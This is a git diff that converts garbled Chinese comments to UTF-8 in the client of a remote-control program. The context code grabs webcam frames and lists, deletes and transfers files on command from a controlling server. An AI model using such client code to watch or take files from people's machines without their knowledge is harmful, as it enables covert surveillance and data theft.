Էʸ豸ıʶ + //通过BindToStorage 可以访问该设备的标识集 hr = pM->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pBag); if(SUCCEEDED(hr)) { VARIANT var; @@ -193,7 +193,7 @@ BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter) } SysFreeString(var.bstrVal); } - pBag->Release(); //ü-- + pBag->Release(); //引用计数-- } pM->Release(); index++; @@ -233,11 +233,11 @@ void CCaptureVideo::ResizeVideoWindow() if (m_pVW) { RECT rc; ::GetClientRect(m_hWnd,&rc); - m_pVW->SetWindowPosition(0, 0, rc.right, rc.bottom); //õ0 0 0 0 + m_pVW->SetWindowPosition(0, 0, rc.right, rc.bottom); //将窗口设置到0 0 0 0 处 } } -void CCaptureVideo::SendEnd() //ͽ ÿȡ +void CCaptureVideo::SendEnd() //发送结束 设置可以再取数据 { InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY); } @@ -245,10 +245,10 @@ void CCaptureVideo::SendEnd() // LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize) { BYTE *szBuffer = NULL; - int n = 200; // 10sûлȡ򷵻NULL + int n = 200; // 10s没有获取到数据则返回NULL do { - if (mCB.bStact==CMD_CAN_SEND) { //ıһ·͵״̬ - if (szBuffer = mCB.GetNextScreen(dwSize)) //ǷȡƵ + if (mCB.bStact==CMD_CAN_SEND) { //这里改变了一下发送的状态 + if (szBuffer = mCB.GetNextScreen(dwSize)) //是否获取到视频 break; } Sleep(50); diff --git a/client/CaptureVideo.h b/client/CaptureVideo.h index 0afec7d..132526c 100644 --- a/client/CaptureVideo.h +++ b/client/CaptureVideo.h @@ -1,4 +1,4 @@ -// CaptureVideo.h: interface for the CCaptureVideo class. +// CaptureVideo.h: interface for the CCaptureVideo class. // ////////////////////////////////////////////////////////////////////// @@ -18,15 +18,15 @@ #pragma comment(lib,"Strmiids.lib") -// TODO ȫֱ, λãqedit.h +// TODO 全局变量, 定义位置:qedit.h -// ӿ ID صӿڣÿһ֡ץȡʱ֪ͨӦ +// 接口 ID 回调接口,用于在每一帧抓取时通知应用 EXTERN_C const IID IID_ISampleGrabberCB; -// ID Sample Grabber COM +// 类 ID 创建 Sample Grabber COM 对象 EXTERN_C const CLSID CLSID_SampleGrabber; -// ӿ ID Sample Grabber IJʽصȲӿ +// 接口 ID 设置 Sample Grabber 的参数、格式、回调等操作接口 EXTERN_C const IID IID_ISampleGrabber; struct ISampleGrabberCB : public IUnknown { @@ -85,7 +85,7 @@ public: LPBITMAPINFO m_BitmapInfor_Full; BYTE* m_BitmapData_Full; BOOL bStact; - DWORD m_dwSize; // ƵͼݴС + DWORD m_dwSize; // 视频图像数据大小 CSampleGrabberCB() { @@ -114,7 +114,7 @@ public: LPBITMAPINFO GetBmpInfor() { - if (m_BitmapInfor_Full==NULL) { //ͷϢ + if (m_BitmapInfor_Full==NULL) { //头信息 ConstructBI(24); } @@ -124,7 +124,7 @@ public: LPBITMAPINFO ConstructBI(ULONG ulbiBitCount) { int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0; - ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER +ɫĸ + ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER + 调色板的个数 m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapLength]; @@ -141,13 +141,13 @@ public: BitmapInforHeader->biClrUsed = 0; BitmapInforHeader->biClrImportant = 0; - BitmapInforHeader->biSizeImage = //ͼ + BitmapInforHeader->biSizeImage = //图像数据 (((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) & ~31) >> 3) * BitmapInforHeader->biHeight; - // 16λԺûɫֱӷ + // 16位和以后的没有颜色表,直接返回 //!! - m_dwSize=BitmapInforHeader->biSizeImage; //ݴС + m_dwSize=BitmapInforHeader->biSizeImage; //数据大小 m_BitmapData_Full=new BYTE[m_dwSize+10]; ZeroMemory(m_BitmapData_Full,m_dwSize+10); @@ -184,18 +184,18 @@ public: return 0; } - //ص õ bmp + //回调函数 在这里得到 bmp 的数据 STDMETHODIMP BufferCB(double dblSampleTime, BYTE * szBuffer, long ulBufferSize) { if (!szBuffer) { return E_POINTER; } - if (bStact==CMD_CAN_COPY) { //δʼ ͵ͬһ - //ͼݿǵڴ - memcpy(m_BitmapData_Full,szBuffer,ulBufferSize); //λͼ + if (bStact==CMD_CAN_COPY) { //未初始化 发送的同差异的一样 + //将图像数据拷贝的我们的内存 + memcpy(m_BitmapData_Full,szBuffer,ulBufferSize); //位图 - InterlockedExchange((LPLONG)&bStact,CMD_CAN_SEND); //ԭԷ + InterlockedExchange((LPLONG)&bStact,CMD_CAN_SEND); //原子自增可以发送 return S_OK; } return -1; @@ -224,14 +224,14 @@ public: HWND m_hWnd; static CSampleGrabberCB mCB; - IGraphBuilder * m_pGB; //ֵͨԷ FCDO Filter Control Device Object - ICaptureGraphBuilder2* m_pCapture; //ֵͨԷ ʵCDO + IGraphBuilder * m_pGB; //通过该值可以访问 FCDO Filter Control Device Object + ICaptureGraphBuilder2* m_pCapture; //通过该值可以访问 真实CDO - IMediaControl* m_pMC; //豸Ľӿ + IMediaControl* m_pMC; //过滤设备的接口 IVideoWindow* m_pVW; IBaseFilter* m_pBF; //FDO - ISampleGrabber* m_pGrabber; // 24Color + ISampleGrabber* m_pGrabber; //引脚 24Color void FreeMediaType(AM_MEDIA_TYPE& mt); void ResizeVideoWindow(); diff --git a/client/ClientApp.h b/client/ClientApp.h index df8004c..90e6505 100644 --- a/client/ClientApp.h +++ b/client/ClientApp.h @@ -1,4 +1,4 @@ - + #pragma once class App diff --git a/client/ClientDll.h b/client/ClientDll.h index e32de35..c0e68e8 100644 --- a/client/ClientDll.h +++ b/client/ClientDll.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "Common.h" #include "IOCPClient.h" @@ -25,19 +25,19 @@ BOOL IsClientAppRunning(void* thisApp); DWORD WINAPI StartClientApp(LPVOID param); -// ͻࣺȫֱһ. +// 客户端类:将全局变量打包到一起. class ClientApp : public App { public: - State g_bExit; // Ӧó״̬1-ض˳ 2-ض˳ 3- - BOOL g_bThreadExit; // ߳״̬ - HINSTANCE g_hInstance; // ̾ - CONNECT_ADDRESS* g_Connection; // Ϣ - HANDLE g_hEvent; // ȫ¼ - BOOL m_bShared; // Ƿ - IsRunning m_bIsRunning; // ״̬ - unsigned m_ID; // Ψһʶ - static int m_nCount; // + State g_bExit; // 应用程序状态(1-被控端退出 2-主控端退出 3-其他条件) + BOOL g_bThreadExit; // 工作线程状态 + HINSTANCE g_hInstance; // 进程句柄 + CONNECT_ADDRESS* g_Connection; // 连接信息 + HANDLE g_hEvent; // 全局事件 + BOOL m_bShared; // 是否分享 + IsRunning m_bIsRunning; // 运行状态 + unsigned m_ID; // 唯一标识 + static int m_nCount; // 计数器 static CLock m_Locker; ClientApp(CONNECT_ADDRESS*conn, IsRunning run, BOOL shared=FALSE) { @@ -129,8 +129,8 @@ public: ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE); -// ̣߳ΪClientApp +// 启动核心线程,参数为:ClientApp DWORD WINAPI StartClient(LPVOID lParam); -// ̣߳ΪClientApp +// 启动核心线程,参数为:ClientApp DWORD WINAPI StartClientApp(LPVOID param); diff --git a/client/Common.cpp b/client/Common.cpp index f333a92..eda39c8 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -1,4 +1,4 @@ -#include "StdAfx.h" +#include "StdAfx.h" #include "Common.h" #include "ScreenManager.h" diff --git a/client/Common.h b/client/Common.h index 6cb03ce..737649f 100644 --- a/client/Common.h +++ b/client/Common.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "StdAfx.h" #include "IOCPClient.h" #include "common/commands.h" @@ -6,7 +6,7 @@ typedef struct _THREAD_ARG_LIST { DWORD (WINAPI *StartAddress)(LPVOID lParameter); LPVOID lParam; - bool bInteractive; // Ƿֽ֧ ?? + bool bInteractive; // 是否支持交互桌面 ?? HANDLE hEvent; } THREAD_ARG_LIST, *LPTHREAD_ARG_LIST; diff --git a/client/CursorInfo.h b/client/CursorInfo.h index b64e4a0..9abe8b1 100644 --- a/client/CursorInfo.h +++ b/client/CursorInfo.h @@ -1,4 +1,4 @@ -// CursorInfor.h: interface for the CCursorInfor class. +// CursorInfor.h: interface for the CCursorInfor class. // ////////////////////////////////////////////////////////////////////// diff --git a/client/FileManager.cpp b/client/FileManager.cpp index 67a7e57..635cef0 100644 --- a/client/FileManager.cpp +++ b/client/FileManager.cpp @@ -1,4 +1,4 @@ -// FileManager.cpp: implementation of the CFileManager class. +// FileManager.cpp: implementation of the CFileManager class. // ////////////////////////////////////////////////////////////////////// @@ -17,7 +17,7 @@ typedef struct { CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(pClient) { m_nTransferMode = TRANSFER_MODE_NORMAL; - // б, ʼļ߳ + // 发送驱动器列表, 开始进行文件管理,建立新线程 SendDriveList(); } @@ -29,21 +29,21 @@ CFileManager::~CFileManager() VOID CFileManager::OnReceive(PBYTE lpBuffer, ULONG nSize) { switch (lpBuffer[0]) { - case COMMAND_LIST_FILES:// ȡļб + case COMMAND_LIST_FILES:// 获取文件列表 SendFilesList((char *)lpBuffer + 1); break; - case COMMAND_DELETE_FILE:// ɾļ + case COMMAND_DELETE_FILE:// 删除文件 DeleteFile((char *)lpBuffer + 1); SendToken(TOKEN_DELETE_FINISH); break; - case COMMAND_DELETE_DIRECTORY:// ɾļ + case COMMAND_DELETE_DIRECTORY:// 删除文件 DeleteDirectory((char *)lpBuffer + 1); SendToken(TOKEN_DELETE_FINISH); break; - case COMMAND_DOWN_FILES: // ϴļ + case COMMAND_DOWN_FILES: // 上传文件 UploadToRemote(lpBuffer + 1); break; - case COMMAND_CONTINUE: // ϴļ + case COMMAND_CONTINUE: // 上传文件 SendFileData(lpBuffer + 1); break; case COMMAND_CREATE_FOLDER: @@ -221,23 +221,23 @@ bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd) UINT CFileManager::SendDriveList() { char DriveString[256]; - // ǰһֽΪƣ52ֽΪ + // 前一个字节为令牌,后面的52字节为驱动器跟相关属性 BYTE DriveList[1024]; char FileSystem[MAX_PATH]; char *pDrive = NULL; - DriveList[0] = TOKEN_DRIVE_LIST; // б + DriveList[0] = TOKEN_DRIVE_LIST; // 驱动器列表 GetLogicalDriveStrings(sizeof(DriveString), DriveString); pDrive = DriveString; unsigned __int64 HDAmount = 0; unsigned __int64 HDFreeSpace = 0; - unsigned __int64 AmntMB = 0; // ܴС - unsigned __int64 FreeMB = 0; // ʣռ + unsigned __int64 AmntMB = 0; // 总大小 + unsigned __int64 FreeMB = 0; // 剩余空间 DWORD dwOffset = 1; for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1) { memset(FileSystem, 0, sizeof(FileSystem)); - // õļϵͳϢС + // 得到文件系统信息及大小 GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH); SHFILEINFO sfi = {}; SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); @@ -245,7 +245,7 @@ UINT CFileManager::SendDriveList() int nTypeNameLen = lstrlen(sfi.szTypeName) + 1; int nFileSystemLen = lstrlen(FileSystem) + 1; - // ̴С + // 计算磁盘大小 if (pDrive[0] != 'A' && pDrive[0] != 'B' && GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL)) { AmntMB = HDAmount / 1024 / 1024; FreeMB = HDFreeSpace / 1024 / 1024; @@ -253,15 +253,15 @@ UINT CFileManager::SendDriveList() AmntMB = 0; FreeMB = 0; } - // ʼֵ + // 开始赋值 DriveList[dwOffset] = pDrive[0]; DriveList[dwOffset + 1] = GetDriveType(pDrive); - // ̿ռռȥ8ֽ + // 磁盘空间描述占去了8字节 memcpy(DriveList + dwOffset + 2, &AmntMB, sizeof(unsigned long)); memcpy(DriveList + dwOffset + 6, &FreeMB, sizeof(unsigned long)); - // ̾ + // 磁盘卷标名及磁盘类型 memcpy(DriveList + dwOffset + 10, sfi.szTypeName, nTypeNameLen); memcpy(DriveList + dwOffset + 10 + nTypeNameLen, FileSystem, nFileSystemLen); @@ -274,7 +274,7 @@ UINT CFileManager::SendDriveList() UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory) { - // ô䷽ʽ + // 重置传输方式 m_nTransferMode = TRANSFER_MODE_NORMAL; UINT nRet = 0; @@ -282,9 +282,9 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory) char *pszFileName = NULL; LPBYTE lpList = NULL; HANDLE hFile; - DWORD dwOffset = 0; // λָ + DWORD dwOffset = 0; // 位移指针 int nLen = 0; - DWORD nBufferSize = 1024 * 10; // ȷ10KĻ + DWORD nBufferSize = 1024 * 10; // 先分配10K的缓冲区 WIN32_FIND_DATA FindFileData; lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize); @@ -302,15 +302,15 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory) *lpList = TOKEN_FILE_LIST; - // 1 Ϊݰͷռֽ,ֵ + // 1 为数据包头部所占字节,最后赋值 dwOffset = 1; /* - ļ 1 - ļ strlen(filename) + 1 ('\0') - ļС 4 + 文件属性 1 + 文件名 strlen(filename) + 1 ('\0') + 文件大小 4 */ do { - // ̬չ + // 动态扩展缓冲区 if (dwOffset > (nBufferSize - MAX_PATH * 2)) { nBufferSize += MAX_PATH * 2; lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE); @@ -320,21 +320,21 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory) pszFileName = FindFileData.cFileName; if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0) continue; - // ļ 1 ֽ + // 文件属性 1 字节 *(lpList + dwOffset) = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY; dwOffset++; - // ļ lstrlen(pszFileName) + 1 ֽ + // 文件名 lstrlen(pszFileName) + 1 字节 nLen = lstrlen(pszFileName); memcpy(lpList + dwOffset, pszFileName, nLen); dwOffset += nLen; *(lpList + dwOffset) = 0; dwOffset++; - // ļС 8 ֽ + // 文件大小 8 字节 memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD)); memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD)); dwOffset += 8; - // ʱ 8 ֽ + // 最后访问时间 8 字节 memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME)); dwOffset += 8; } while(FindNextFile(hFile, &FindFileData)); @@ -355,7 +355,7 @@ bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory) wsprintf(lpszFilter, "%s\\*.*", lpszDirectory); HANDLE hFind = FindFirstFile(lpszFilter, &wfd); - if (hFind == INVALID_HANDLE_VALUE) // ûҵʧ + if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败 return FALSE; do { @@ -372,7 +372,7 @@ bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory) } } while (FindNextFile(hFind, &wfd)); - FindClose(hFind); // رղҾ + FindClose(hFind); // 关闭查找句柄 if(!RemoveDirectory(lpszDirectory)) { return FALSE; @@ -385,9 +385,9 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName) UINT nRet = 0; DWORD dwSizeHigh; DWORD dwSizeLow; - // 1 ֽtoken, 8ֽڴС, ļ, '\0' + // 1 字节token, 8字节大小, 文件名称, '\0' HANDLE hFile; - // 浱ǰڲļ + // 保存当前正在操作的文件名 memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName)); strcpy(m_strCurrentProcessFileName, lpszFileName); @@ -396,7 +396,7 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName) return FALSE; dwSizeLow = GetFileSize(hFile, &dwSizeHigh); SAFE_CLOSE_HANDLE(hFile); - // ݰļ + // 构造数据包,发送文件长度 int nPacketSize = lstrlen(lpszFileName) + 10; BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize); if (bPacket==NULL) { @@ -424,7 +424,7 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer) pFileSize = (FILESIZE *)lpBuffer; lpFileName = m_strCurrentProcessFileName; - // Զһ + // 远程跳过,传送下一个 if (pFileSize->dwSizeLow == -1) { UploadNext(); return 0; @@ -436,14 +436,14 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer) SetFilePointer(hFile, pFileSize->dwSizeLow, (long *)&(pFileSize->dwSizeHigh), FILE_BEGIN); - int nHeadLength = 9; // 1 + 4 + 4ݰͷС + int nHeadLength = 9; // 1 + 4 + 4数据包头部大小 DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength; DWORD nNumberOfBytesRead = 0; LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER); if (lpPacket == NULL) return -1; - // Token, Сƫƣļ + // Token, 大小,偏移,文件名,数据 lpPacket[0] = TOKEN_FILE_DATA; memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE)); ReadFile(hFile, lpPacket + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL); @@ -461,17 +461,17 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer) return nRet; } -// һļ +// 传送下一个文件 void CFileManager::UploadNext() { std::list ::iterator it = m_UploadList.begin(); - // ɾһ + // 删除一个任务 m_UploadList.erase(it); - // ϴ + // 还有上传任务 if(m_UploadList.empty()) { SendToken(TOKEN_TRANSFER_FINISH); } else { - // ϴһ + // 上传下一个 it = m_UploadList.begin(); SendFileSize((*it).c_str()); } @@ -495,7 +495,7 @@ bool CFileManager::UploadToRemote(LPBYTE lpBuffer) } std::list ::iterator it = m_UploadList.begin(); - // ͵һļ + // 发送第一个文件 SendFileSize((*it).c_str()); return true; @@ -516,7 +516,7 @@ bool CFileManager::FixedUploadList(LPCTSTR lpPathName) wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash); HANDLE hFind = FindFirstFile(lpszFilter, &wfd); - if (hFind == INVALID_HANDLE_VALUE) // ûҵʧ + if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败 return false; do { @@ -533,7 +533,7 @@ bool CFileManager::FixedUploadList(LPCTSTR lpPathName) } } while (FindNextFile(hFind, &wfd)); - FindClose(hFind); // رղҾ + FindClose(hFind); // 关闭查找句柄 return true; } @@ -547,14 +547,14 @@ void CFileManager::StopTransfer() void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer) { FILESIZE *pFileSize = (FILESIZE *)lpBuffer; - // 浱ǰڲļ + // 保存当前正在操作的文件名 memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName)); strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8); - // ļ + // 保存文件长度 m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + long long(1))) + pFileSize->dwSizeLow; - // Ŀ¼ + // 创建多层目录 MakeSureDirectoryPathExists(m_strCurrentProcessFileName); WIN32_FIND_DATA FindFileData; @@ -592,38 +592,38 @@ void CFileManager::GetFileData() WIN32_FIND_DATA FindFileData; HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData); - // 1ֽToken,ֽƫƸλֽƫƵλ + // 1字节Token,四字节偏移高四位,四字节偏移低四位 BYTE bToken[9]; - DWORD dwCreationDisposition = 0; // ļ򿪷ʽ + DWORD dwCreationDisposition = 0; // 文件打开方式 memset(bToken, 0, sizeof(bToken)); bToken[0] = TOKEN_DATA_CONTINUE; - // ļѾ + // 文件已经存在 if (hFind != INVALID_HANDLE_VALUE) { - // ʾʲô - // + // 提示点什么 + // 如果是续传 if (nTransferMode == TRANSFER_MODE_ADDITION) { memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4); memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4); dwCreationDisposition = OPEN_EXISTING; } - // + // 覆盖 else if (nTransferMode == TRANSFER_MODE_OVERWRITE) { - // ƫ0 + // 偏移置0 memset(bToken + 1, 0, 8); - // ´ + // 重新创建 dwCreationDisposition = CREATE_ALWAYS; } - // һ + // 传送下一个 else if (nTransferMode == TRANSFER_MODE_JUMP) { DWORD dwOffset = -1; memcpy(bToken + 5, &dwOffset, 4); dwCreationDisposition = OPEN_EXISTING; } } else { - // ƫ0 + // 偏移置0 memset(bToken + 1, 0, 8); - // ´ + // 重新创建 dwCreationDisposition = CREATE_ALWAYS; } FindClose(hFind); @@ -639,7 +639,7 @@ void CFileManager::GetFileData() FILE_ATTRIBUTE_NORMAL, 0 ); - // Ҫ + // 需要错误处理 if (hFile == INVALID_HANDLE_VALUE) { m_nCurrentProcessFileLength = 0; return; @@ -651,18 +651,18 @@ void CFileManager::GetFileData() void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize) { - // + // 传输完毕 BYTE *pData; DWORD dwBytesToWrite; DWORD dwBytesWrite; - int nHeadLength = 9; // 1 + 4 + 4 ݰͷСΪ̶9 + int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小,为固定的9 FILESIZE *pFileSize; - // õݵƫ + // 得到数据的偏移 pData = lpBuffer + 8; pFileSize = (FILESIZE *)lpBuffer; - // õļеƫ + // 得到数据在文件中的偏移 LONG dwOffsetHigh = pFileSize->dwSizeHigh; LONG dwOffsetLow = pFileSize->dwSizeLow; @@ -683,7 +683,7 @@ void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize) SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); int nRet = 0; - // дļ + // 写入文件 nRet = WriteFile ( hFile, @@ -693,7 +693,7 @@ void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize) NULL ); SAFE_CLOSE_HANDLE(hFile); - // Ϊ˱Ƚϣ + // 为了比较,计数器递增 BYTE bToken[9]; bToken[0] = TOKEN_DATA_CONTINUE; dwOffsetLow += dwBytesWrite; diff --git a/client/FileManager.h b/client/FileManager.h index 2b2af77..485e13b 100644 --- a/client/FileManager.h +++ b/client/FileManager.h @@ -1,4 +1,4 @@ -// FileManager.h: interface for the CFileManager class. +// FileManager.h: interface for the CFileManager class. // ////////////////////////////////////////////////////////////////////// #include "IOCPClient.h" @@ -18,8 +18,8 @@ typedef IOCPClient CClientSocket; #endif // _MSC_VER > 1000 typedef struct { - UINT nFileSize; // ļС - UINT nSendSize; // ѷʹС + UINT nFileSize; // 文件大小 + UINT nSendSize; // 已发送大小 } SENDFILEPROGRESS, *PSENDFILEPROGRESS; @@ -33,8 +33,8 @@ public: private: std::list m_UploadList; UINT m_nTransferMode; - char m_strCurrentProcessFileName[MAX_PATH]; // ǰڴļ - __int64 m_nCurrentProcessFileLength; // ǰڴļij + char m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件 + __int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度 bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath); bool UploadToRemote(LPBYTE lpBuffer); bool FixedUploadList(LPCTSTR lpszDirectory); diff --git a/client/IOCPBase.h b/client/IOCPBase.h index 8a4782d..55b09ba 100644 --- a/client/IOCPBase.h +++ b/client/IOCPBase.h @@ -1,4 +1,4 @@ -#include "common/commands.h" +#include "common/commands.h" class IOCPBase { diff --git a/client/IOCPKCPClient.cpp b/client/IOCPKCPClient.cpp index 9e8b353..96d146a 100644 --- a/client/IOCPKCPClient.cpp +++ b/client/IOCPKCPClient.cpp @@ -1,4 +1,4 @@ -#include "IOCPKCPClient.h" +#include "IOCPKCPClient.h" #include #include #include @@ -24,19 +24,19 @@ BOOL IOCPKCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) if (!ret) return FALSE; - // ʼKCP - uint32_t conv = KCP_SESSION_ID; // conv Ҫƥ + // 初始化KCP + uint32_t conv = KCP_SESSION_ID; // conv 要与服务端匹配 kcp_ = ikcp_create(conv, this); if (!kcp_) return FALSE; - // KCP + // 设置KCP参数 ikcp_nodelay(kcp_, 1, 40, 2, 0); kcp_->rx_minrto = 30; kcp_->snd_wnd = 128; kcp_->rcv_wnd = 128; - // ÷ͻصKCPʱã + // 设置发送回调函数(KCP发送数据时调用) kcp_->output = IOCPKCPClient::kcpOutput; running_ = true; @@ -46,23 +46,23 @@ BOOL IOCPKCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) return TRUE; } -// UDPհ̵߳ãյUDPKCPٳԶȡӦð +// UDP收包线程调用,将收到的UDP包送入KCP处理,再尝试读取完整应用包 int IOCPKCPClient::ReceiveData(char* buffer, int bufSize, int flags) { - // ȵûUDPԭʼ + // 先调用基类接收UDP原始数据 char udpBuffer[1500] = { 0 }; int recvLen = IOCPUDPClient::ReceiveData(udpBuffer, sizeof(udpBuffer), flags); if (recvLen <= 0) return recvLen; - // KCPЭջ + // 输入KCP协议栈 int inputRet = ikcp_input(kcp_, udpBuffer, recvLen); if (inputRet < 0) return -1; - // KCPжȡӦòݣдbuffer + // 从KCP中读取应用层数据,写入buffer int kcpRecvLen = ikcp_recv(kcp_, buffer, bufSize); - return kcpRecvLen; // >0ʾյӦݣ0ʾ + return kcpRecvLen; // >0表示收到完整应用数据,0表示无完整包 } bool IOCPKCPClient::ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag) @@ -72,13 +72,13 @@ bool IOCPKCPClient::ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, {} else { szBuffer[iReceivedLength] = 0; - //ȷվ͵OnRead,תOnRead + //正确接收就调用OnRead处理,转到OnRead OnServerReceiving(m_CompressedBuffer, szBuffer, iReceivedLength); } return true; } -// ӦòʱãתKCPЭջ +// 发送应用层数据时调用,转发给KCP协议栈 int IOCPKCPClient::SendTo(const char* buf, int len, int flags) { if (!kcp_) @@ -88,12 +88,12 @@ int IOCPKCPClient::SendTo(const char* buf, int len, int flags) if (ret < 0) return -1; - // flushӿ췢 + // 主动调用flush,加快发送 ikcp_flush(kcp_); return ret; } -// KCPݻصKCPɵUDPͳȥ +// KCP发送数据回调,将KCP生成的UDP包发送出去 int IOCPKCPClient::kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void* user) { IOCPKCPClient* client = reinterpret_cast(user); @@ -107,12 +107,12 @@ int IOCPKCPClient::kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void* return -1; } -// ̶߳ʱikcp_updateKCPЭ +// 独立线程定时调用ikcp_update,保持KCP协议正常工作 void IOCPKCPClient::KCPUpdateLoop() { while (running_ && !g_bExit) { IUINT32 current = GetTickCount64(); ikcp_update(kcp_, current); - std::this_thread::sleep_for(std::chrono::milliseconds(20)); // 20msڣ + std::this_thread::sleep_for(std::chrono::milliseconds(20)); // 20ms周期,视需求调整 } } diff --git a/client/IOCPKCPClient.h b/client/IOCPKCPClient.h index d7400ce..0064848 100644 --- a/client/IOCPKCPClient.h +++ b/client/IOCPKCPClient.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "IOCPUDPClient.h" #include "ikcp.h" #include @@ -12,19 +12,19 @@ public: virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override; - // дպUDPݸKCPKCP + // 重写接收函数:输入UDP数据给KCP,输出KCP层解包后的数据 virtual int ReceiveData(char* buffer, int bufSize, int flags) override; virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag) override; - // дͺӦͨKCP + // 重写发送函数:将应用数据通过KCP发送 virtual int SendTo(const char* buf, int len, int flags) override; private: - // KCPݵĻصUDPsendto + // KCP发送数据的回调函数,负责调用UDP的sendto static int kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void* user); - // ʱikcp_update̺߳ + // 定时调用ikcp_update的线程函数 void KCPUpdateLoop(); private: diff --git a/client/IOCPUDPClient.cpp b/client/IOCPUDPClient.cpp index a333659..46b3600 100644 --- a/client/IOCPUDPClient.cpp +++ b/client/IOCPUDPClient.cpp @@ -1,4 +1,4 @@ -#include "IOCPUDPClient.h" +#include "IOCPUDPClient.h" BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort) @@ -9,14 +9,14 @@ BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort) m_sCurIP = m_Domain.SelectIP(); unsigned short port = m_nHostPort; - // UDP socket + // 创建 UDP socket m_sClientSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (m_sClientSocket == INVALID_SOCKET) { Mprintf("Failed to create UDP socket\n"); return FALSE; } - // ʼַṹ + // 初始化服务器地址结构 memset(&m_ServerAddr, 0, sizeof(m_ServerAddr)); m_ServerAddr.sin_family = AF_INET; m_ServerAddr.sin_port = htons(port); @@ -32,11 +32,11 @@ BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort) } #endif - // UDP connect()Ҳ TCP keep-alive ѡ + // UDP不调用 connect(),也不设置 TCP keep-alive 相关选项 Mprintf("UDP client socket created and ready to send.\n"); m_bConnected = TRUE; - // ̣߳Ҫ + // 创建工作线程(如果需要) if (m_hWorkThread == NULL) { #ifdef _WIN32 m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL); diff --git a/client/IOCPUDPClient.h b/client/IOCPUDPClient.h index 9d97c00..3e5028e 100644 